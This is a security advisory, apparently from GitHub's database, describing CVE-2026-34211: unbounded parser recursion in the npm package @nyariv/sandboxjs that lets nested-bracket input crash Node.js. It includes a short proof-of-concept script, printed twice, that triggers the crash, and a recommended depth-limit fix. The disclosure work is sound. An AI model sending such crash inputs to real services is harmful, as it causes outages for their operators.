GHSA-8PFC-JJGW-6G26
Vulnerability from github – Published: 2026-04-03 21:45 – Updated: 2026-04-06 23:18Summary
The @nyariv/sandboxjs parser contains unbounded recursion in the restOfExp function and the lispify/lispifyExpr call chain. An attacker can crash any Node.js process that parses untrusted input by supplying deeply nested expressions (e.g., ~2000 nested parentheses), causing a RangeError: Maximum call stack size exceeded that terminates the process.
Details
The root cause is in src/parser.ts. The restOfExp function (line 443) iterates through expression characters, and when it encounters a closing bracket that doesn't match the expected firstOpening, it recursively calls itself at line 503:
// src/parser.ts:486-505
} else if (closings[char]) {
// ...
if (char === firstOpening) {
done = true;
break;
} else {
const skip = restOfExp(constants, part.substring(i + 1), [], char); // line 503
cache.set(skip.start - 1, skip.end);
i += skip.length + 1;
}
}
Each nested bracket ((, [, {) adds a stack frame. There is no depth counter or limit check. The function signature has no depth parameter:
export function restOfExp(
constants: IConstants,
part: CodeString,
tests?: RegExp[],
quote?: string,
firstOpening?: string,
closingsTests?: RegExp[],
details: restDetails = {},
): CodeString {
A second unbounded recursive path exists through lispify → lispTypes.get(type) → group handler → lispifyExpr (line 672) → lispify, which processes parenthesized groups recursively with no depth limit.
All public API methods (Sandbox.parse(), Sandbox.compile(), Sandbox.compileAsync(), Sandbox.compileExpression(), Sandbox.compileExpressionAsync()) pass user input directly to parse() with no input validation or depth limiting.
A RangeError: Maximum call stack size exceeded in Node.js is not a catchable exception in the normal sense — it crashes the current execution context and, in a server handling requests synchronously, can crash the entire process.
PoC
# Install the package
npm install @nyariv/sandboxjs
# Create test file
cat > poc.js << 'EOF'
const { default: Sandbox } = require('@nyariv/sandboxjs');
const s = new Sandbox();
// Trigger via nested parentheses
console.log("Testing nested parentheses...");
try {
s.compile('('.repeat(2000) + '1' + ')'.repeat(2000));
console.log("No crash");
} catch(e) {
console.log(`Crash: ${e.constructor.name}: ${e.message}`);
}
// Trigger via nested array brackets
console.log("Testing nested array brackets...");
try {
s.compile('a' + '[0]'.repeat(2000));
console.log("No crash");
} catch(e) {
console.log(`Crash: ${e.constructor.name}: ${e.message}`);
}
EOF
node poc.js
Expected output:
Testing nested parentheses...
Crash: RangeError: Maximum call stack size exceeded
Testing nested array brackets...
Crash: RangeError: Maximum call stack size exceeded
Verified on Node.js v22 with @nyariv/sandboxjs@0.8.35.
Impact
Any application using @nyariv/sandboxjs to parse untrusted user input is vulnerable to denial of service. Since SandboxJS is explicitly designed to safely execute untrusted JavaScript, its primary use case involves untrusted input — making this a high-impact vulnerability for its intended deployment scenario.
An attacker can crash the host Node.js process with a single crafted input string. In server-side applications, this causes complete service disruption. The attack payload is trivial to construct and requires no authentication.
Recommended Fix
Add a depth parameter to restOfExp and throw a ParseError when a maximum depth is exceeded:
// src/parser.ts - restOfExp function
const MAX_PARSE_DEPTH = 256;
export function restOfExp(
constants: IConstants,
part: CodeString,
tests?: RegExp[],
quote?: string,
firstOpening?: string,
closingsTests?: RegExp[],
details: restDetails = {},
depth: number = 0, // ADD depth parameter
): CodeString {
if (depth > MAX_PARSE_DEPTH) {
throw new ParseError('Expression nesting depth exceeded', part.toString());
}
// ... existing code ...
// At line 503, pass depth + 1:
const skip = restOfExp(constants, part.substring(i + 1), [], char, undefined, undefined, {}, depth + 1);
// At line 480 (template literal), also pass depth + 1:
const skip = restOfExp(constants, part.substring(i + 2), [], '{', undefined, undefined, {}, depth + 1);
}
Similarly, add depth tracking to lispify and lispifyExpr:
function lispify(
constants: IConstants,
part: CodeString,
expected?: readonly string[],
lispTree?: Lisp,
topLevel = false,
depth: number = 0, // ADD depth parameter
): Lisp {
if (depth > MAX_PARSE_DEPTH) {
throw new ParseError('Expression nesting depth exceeded', part.toString());
}
// ... pass depth + 1 to recursive lispify/lispifyExpr calls ...
}
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.8.35"
},
"package": {
"ecosystem": "npm",
"name": "@nyariv/sandboxjs"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.8.36"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-34211"
],
"database_specific": {
"cwe_ids": [
"CWE-674"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-03T21:45:14Z",
"nvd_published_at": "2026-04-06T16:16:34Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nThe `@nyariv/sandboxjs` parser contains unbounded recursion in the `restOfExp` function and the `lispify`/`lispifyExpr` call chain. An attacker can crash any Node.js process that parses untrusted input by supplying deeply nested expressions (e.g., ~2000 nested parentheses), causing a `RangeError: Maximum call stack size exceeded` that terminates the process.\n\n## Details\n\nThe root cause is in `src/parser.ts`. The `restOfExp` function (line 443) iterates through expression characters, and when it encounters a closing bracket that doesn\u0027t match the expected `firstOpening`, it recursively calls itself at line 503:\n\n```typescript\n// src/parser.ts:486-505\n} else if (closings[char]) {\n // ...\n if (char === firstOpening) {\n done = true;\n break;\n } else {\n const skip = restOfExp(constants, part.substring(i + 1), [], char); // line 503\n cache.set(skip.start - 1, skip.end);\n i += skip.length + 1;\n }\n}\n```\n\nEach nested bracket (`(`, `[`, `{`) adds a stack frame. There is no depth counter or limit check. The function signature has no depth parameter:\n\n```typescript\nexport function restOfExp(\n constants: IConstants,\n part: CodeString,\n tests?: RegExp[],\n quote?: string,\n firstOpening?: string,\n closingsTests?: RegExp[],\n details: restDetails = {},\n): CodeString {\n```\n\nA second unbounded recursive path exists through `lispify` \u2192 `lispTypes.get(type)` \u2192 `group` handler \u2192 `lispifyExpr` (line 672) \u2192 `lispify`, which processes parenthesized groups recursively with no depth limit.\n\nAll public API methods (`Sandbox.parse()`, `Sandbox.compile()`, `Sandbox.compileAsync()`, `Sandbox.compileExpression()`, `Sandbox.compileExpressionAsync()`) pass user input directly to `parse()` with no input validation or depth limiting.\n\nA `RangeError: Maximum call stack size exceeded` in Node.js is not a catchable exception in the normal sense \u2014 it crashes the current execution context and, in a server handling requests synchronously, can crash the entire process.\n\n## PoC\n\n```bash\n# Install the package\nnpm install @nyariv/sandboxjs\n\n# Create test file\ncat \u003e poc.js \u003c\u003c \u0027EOF\u0027\nconst { default: Sandbox } = require(\u0027@nyariv/sandboxjs\u0027);\nconst s = new Sandbox();\n\n// Trigger via nested parentheses\nconsole.log(\"Testing nested parentheses...\");\ntry {\n s.compile(\u0027(\u0027.repeat(2000) + \u00271\u0027 + \u0027)\u0027.repeat(2000));\n console.log(\"No crash\");\n} catch(e) {\n console.log(`Crash: ${e.constructor.name}: ${e.message}`);\n}\n\n// Trigger via nested array brackets\nconsole.log(\"Testing nested array brackets...\");\ntry {\n s.compile(\u0027a\u0027 + \u0027[0]\u0027.repeat(2000));\n console.log(\"No crash\");\n} catch(e) {\n console.log(`Crash: ${e.constructor.name}: ${e.message}`);\n}\nEOF\n\nnode poc.js\n```\n\n**Expected output:**\n```\nTesting nested parentheses...\nCrash: RangeError: Maximum call stack size exceeded\nTesting nested array brackets...\nCrash: RangeError: Maximum call stack size exceeded\n```\n\nVerified on Node.js v22 with `@nyariv/sandboxjs@0.8.35`.\n\n## Impact\n\nAny application using `@nyariv/sandboxjs` to parse untrusted user input is vulnerable to denial of service. Since SandboxJS is explicitly designed to safely execute untrusted JavaScript, its primary use case involves untrusted input \u2014 making this a high-impact vulnerability for its intended deployment scenario.\n\nAn attacker can crash the host Node.js process with a single crafted input string. In server-side applications, this causes complete service disruption. The attack payload is trivial to construct and requires no authentication.\n\n## Recommended Fix\n\nAdd a `depth` parameter to `restOfExp` and throw a `ParseError` when a maximum depth is exceeded:\n\n```typescript\n// src/parser.ts - restOfExp function\nconst MAX_PARSE_DEPTH = 256;\n\nexport function restOfExp(\n constants: IConstants,\n part: CodeString,\n tests?: RegExp[],\n quote?: string,\n firstOpening?: string,\n closingsTests?: RegExp[],\n details: restDetails = {},\n depth: number = 0, // ADD depth parameter\n): CodeString {\n if (depth \u003e MAX_PARSE_DEPTH) {\n throw new ParseError(\u0027Expression nesting depth exceeded\u0027, part.toString());\n }\n // ... existing code ...\n\n // At line 503, pass depth + 1:\n const skip = restOfExp(constants, part.substring(i + 1), [], char, undefined, undefined, {}, depth + 1);\n\n // At line 480 (template literal), also pass depth + 1:\n const skip = restOfExp(constants, part.substring(i + 2), [], \u0027{\u0027, undefined, undefined, {}, depth + 1);\n}\n```\n\nSimilarly, add depth tracking to `lispify` and `lispifyExpr`:\n\n```typescript\nfunction lispify(\n constants: IConstants,\n part: CodeString,\n expected?: readonly string[],\n lispTree?: Lisp,\n topLevel = false,\n depth: number = 0, // ADD depth parameter\n): Lisp {\n if (depth \u003e MAX_PARSE_DEPTH) {\n throw new ParseError(\u0027Expression nesting depth exceeded\u0027, part.toString());\n }\n // ... pass depth + 1 to recursive lispify/lispifyExpr calls ...\n}\n```",
"id": "GHSA-8pfc-jjgw-6g26",
"modified": "2026-04-06T23:18:26Z",
"published": "2026-04-03T21:45:14Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nyariv/SandboxJS/security/advisories/GHSA-8pfc-jjgw-6g26"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34211"
},
{
"type": "PACKAGE",
"url": "https://github.com/nyariv/SandboxJS"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "SandboxJS: Stack overflow DoS via deeply nested expressions in recursive descent parser"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.